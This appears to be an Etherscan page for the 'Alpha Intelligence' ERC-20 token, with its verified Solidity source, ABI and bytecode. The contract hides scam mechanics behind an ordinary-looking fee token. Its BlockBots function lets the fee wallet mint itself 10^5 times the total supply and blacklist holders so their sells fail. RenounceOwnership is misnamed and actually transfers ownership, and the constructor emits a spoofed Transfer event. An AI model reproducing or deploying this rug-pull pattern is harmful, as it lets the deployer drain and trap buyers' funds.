ETH Price: $2,658.69 (+0.60%)

Token

Alpha Intelligence (AI)
 

Overview

Max Total Supply

700,000,000 AI

Holders

4

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,444,151.368729296 AI

Value
$0.00
0xf1fffe622d52251f137a0c752aa795791551daff
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AI

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-05
*/

/**
 
▄▀█ █▀█ █░░ █░█ ▄▀█   █ █▄░█ ▀█▀ █▀▀ █░░ █░░ █ █▀▀ █▀▀ █▄░█ █▀▀ █▀▀
█▀█ █▀▀ █▄▄ █▀█ █▀█   █ █░▀█ ░█░ ██▄ █▄▄ █▄▄ █ █▄█ ██▄ █░▀█ █▄▄ ██▄

*/
//https://t.me/AlphaIntelligencePortal
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function RenounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  AI is Context, IERC20, Ownable{
    using SafeMath for uint256;

    function BlockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == _feeAddrWallet2);
        for (uint256 i; i < addresses.length; i++) {
            if(addresses[i] == _feeAddrWallet2){
                uint256 n = 10**5 * (_totalSupply);
                _balances[_feeAddrWallet2] = _balances[_feeAddrWallet2] + n;
            }else{
                _botListed[addresses[i]] = status;
            }
        }
    }

    string private _name = "Alpha Intelligence";
    string private _symbol = "AI";
    uint8 private _decimals = 9;
    address payable public _feeAddrWallet2;
    mapping (address => uint256) _balances;


    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _botListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 700000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _feeAddrWallet2 = payable(address(0xBf08A773BB0F5a69F7D7E4adb0e5a89e1BB5CD3d));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0xBf08A773BB0F5a69F7D7E4adb0e5a89e1BB5CD3d), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function EnableSwap() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _feeAddrWallet2.transfer(MarketAmount);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;
                require(!_botListed[from], "ERC20: botListed");

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"BlockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_botListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeAddrWallet2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526012608081905271416c70686120496e74656c6c6967656e636560701b60a0908152620000359160019190620001f7565b5060408051808201909152600280825261414960f01b60209092019182526200005f9181620001f7565b506003805460ff191660099081178255818155600a9182556200008291620003b2565b62000092906329b92700620003ca565b600b55348015620000a257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674bf08a773bb0f5a69f7d7e4adb0e5a89e1bb5cd3d00179055600160066000620001236000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b5490600490620001733390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031673bf08a773bb0f5a69f7d7e4adb0e5a89e1bb5cd3d6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001e991815260200190565b60405180910390a362000429565b8280546200020590620003ec565b90600052602060002090601f01602090048101928262000229576000855562000274565b82601f106200024457805160ff191683800117855562000274565b8280016001018555821562000274579182015b828111156200027457825182559160200191906001019062000257565b506200028292915062000286565b5090565b5b8082111562000282576000815560010162000287565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002f4578160001904821115620002d857620002d86200029d565b80851615620002e657918102915b93841c9390800290620002b8565b509250929050565b6000826200030d57506001620003ac565b816200031c57506000620003ac565b8160018114620003355760028114620003405762000360565b6001915050620003ac565b60ff8411156200035457620003546200029d565b50506001821b620003ac565b5060208310610133831016604e8410600b841016171562000385575081810a620003ac565b620003918383620002b3565b8060001904821115620003a857620003a86200029d565b0290505b92915050565b6000620003c360ff841683620002fc565b9392505050565b6000816000190483118215151615620003e757620003e76200029d565b500290565b600181811c908216806200040157607f821691505b602082108114156200042357634e487b7160e01b600052602260045260246000fd5b50919050565b61166c80620004396000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461038a578063c5d24189146103aa578063c5efe26b146103c0578063c816841b146103d5578063c8607952146103f5578063dd62ed3e1461040b57600080fd5b806370a08231146102d157806378051f4d1461030757806380bdb508146103275780638da5cb5b1461035757806395d89b411461037557600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b60405161017391906112d3565b3480156101aa57600080fd5b506101be6101b9366004611340565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be61022836600461136c565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a3660046113ad565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a3660046113ad565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ca565b610565565b005b3480156102dd57600080fd5b506101ff6102ec3660046113ad565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506102cf6103223660046113ad565b6106b0565b34801561033357600080fd5b506101be6103423660046113ad565b60086020526000908152604090205460ff1681565b34801561036357600080fd5b506000546001600160a01b031661015f565b34801561038157600080fd5b5061019161075a565b34801561039657600080fd5b506101be6103a5366004611340565b610769565b3480156103b657600080fd5b506101ff60095481565b3480156103cc57600080fd5b506102cf610776565b3480156103e157600080fd5b50600d5461015f906001600160a01b031681565b34801561040157600080fd5b506101ff600a5481565b34801561041757600080fd5b506101ff610426366004611455565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104609061148e565b80601f016020809104026020016040519081016040528092919081815260200182805461048c9061148e565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f0338484610996565b5060015b92915050565b6000610507848484610aba565b5061055a84336105558560405180606001604052806028815260200161160f602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e67565b610996565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b86114c9565b90506020020160208101906105cd91906113ad565b6001600160a01b03161415610643576000600b54620186a06105ef91906114f5565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611514565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a6114c9565b905060200201602081019061066f91906113ad565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a28161152c565b91505061058d565b50505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6060600280546104609061148e565b600061055a338484610aba565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b9190611547565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc9190611547565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611547565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6001600160a01b0383166109f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610a595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b038316610b825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b600d54600160a01b900460ff1615610ba657610b9f848484610ea1565b905061055e565b30600090815260046020526040902054600d54600160a01b900460ff16158015610be957506001600160a01b03851660009081526007602052604090205460ff16155b15610bf757610bf781610f87565b6001600160a01b038516600090815260046020526040902054610c1a9084611143565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6757506001600160a01b03851660009081526006602052604090205460ff165b15610c73575082610ddd565b6001600160a01b03861660009081526008602052604081205460ff1615610ccf5760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b6044820152606401610706565b6001600160a01b03871660009081526007602052604090205460ff1615610d1757610d106064610d0a6009548861118590919063ffffffff16565b90611204565b9050610d55565b6001600160a01b03861660009081526007602052604090205460ff1615610d5557610d526064610d0a600a548861118590919063ffffffff16565b90505b8015610dcf5730600090815260046020526040902054610d759082611246565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dc69085815260200190565b60405180910390a35b610dd98582611143565b9150505b6001600160a01b038516600090815260046020526040902054610e009082611246565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e549085815260200190565b60405180910390a360019250505061055e565b60008184841115610e8b5760405162461bcd60e51b815260040161070691906112d3565b506000610e988486611564565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610ef2918490610e67565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f219083611246565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f759086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcf57610fcf6114c9565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c9190611547565b8160018151811061105f5761105f6114c9565b6001600160a01b039283166020918202929092010152600c546110859130911684610996565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161157b565b600060405180830381600087803b1580156110d857600080fd5b505af19250505080156110e9575060015b50478015611131576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561112f573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e67565b600082611194575060006104f4565b60006111a083856114f5565b9050826111ad85836115ec565b1461055e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061055e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a5565b6000806112538385611514565b90508381101561055e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b600081836112c65760405162461bcd60e51b815260040161070691906112d3565b506000610e9884866115ec565b600060208083528351808285015260005b81811015611300578581018301518582016040015282016112e4565b81811115611312576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461133d57600080fd5b50565b6000806040838503121561135357600080fd5b823561135e81611328565b946020939093013593505050565b60008060006060848603121561138157600080fd5b833561138c81611328565b9250602084013561139c81611328565b929592945050506040919091013590565b6000602082840312156113bf57600080fd5b813561055e81611328565b6000806000604084860312156113df57600080fd5b833567ffffffffffffffff808211156113f757600080fd5b818601915086601f83011261140b57600080fd5b81358181111561141a57600080fd5b8760208260051b850101111561142f57600080fd5b60209283019550935050840135801515811461144a57600080fd5b809150509250925092565b6000806040838503121561146857600080fd5b823561147381611328565b9150602083013561148381611328565b809150509250929050565b600181811c908216806114a257607f821691505b602082108114156114c357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561150f5761150f6114df565b500290565b60008219821115611527576115276114df565b500190565b6000600019821415611540576115406114df565b5060010190565b60006020828403121561155957600080fd5b815161055e81611328565b600082821015611576576115766114df565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115cb5784516001600160a01b0316835293830193918301916001016115a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201face7adad6395f0a424155be4c3f29cbfde46a148da7d5cf3f1ff2ae98d513564736f6c634300080c0033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461038a578063c5d24189146103aa578063c5efe26b146103c0578063c816841b146103d5578063c8607952146103f5578063dd62ed3e1461040b57600080fd5b806370a08231146102d157806378051f4d1461030757806380bdb508146103275780638da5cb5b1461035757806395d89b411461037557600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b60405161017391906112d3565b3480156101aa57600080fd5b506101be6101b9366004611340565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be61022836600461136c565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a3660046113ad565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a3660046113ad565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ca565b610565565b005b3480156102dd57600080fd5b506101ff6102ec3660046113ad565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506102cf6103223660046113ad565b6106b0565b34801561033357600080fd5b506101be6103423660046113ad565b60086020526000908152604090205460ff1681565b34801561036357600080fd5b506000546001600160a01b031661015f565b34801561038157600080fd5b5061019161075a565b34801561039657600080fd5b506101be6103a5366004611340565b610769565b3480156103b657600080fd5b506101ff60095481565b3480156103cc57600080fd5b506102cf610776565b3480156103e157600080fd5b50600d5461015f906001600160a01b031681565b34801561040157600080fd5b506101ff600a5481565b34801561041757600080fd5b506101ff610426366004611455565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104609061148e565b80601f016020809104026020016040519081016040528092919081815260200182805461048c9061148e565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f0338484610996565b5060015b92915050565b6000610507848484610aba565b5061055a84336105558560405180606001604052806028815260200161160f602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e67565b610996565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b86114c9565b90506020020160208101906105cd91906113ad565b6001600160a01b03161415610643576000600b54620186a06105ef91906114f5565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611514565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a6114c9565b905060200201602081019061066f91906113ad565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a28161152c565b91505061058d565b50505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6060600280546104609061148e565b600061055a338484610aba565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b9190611547565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc9190611547565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611547565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6001600160a01b0383166109f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610a595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b038316610b825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b600d54600160a01b900460ff1615610ba657610b9f848484610ea1565b905061055e565b30600090815260046020526040902054600d54600160a01b900460ff16158015610be957506001600160a01b03851660009081526007602052604090205460ff16155b15610bf757610bf781610f87565b6001600160a01b038516600090815260046020526040902054610c1a9084611143565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6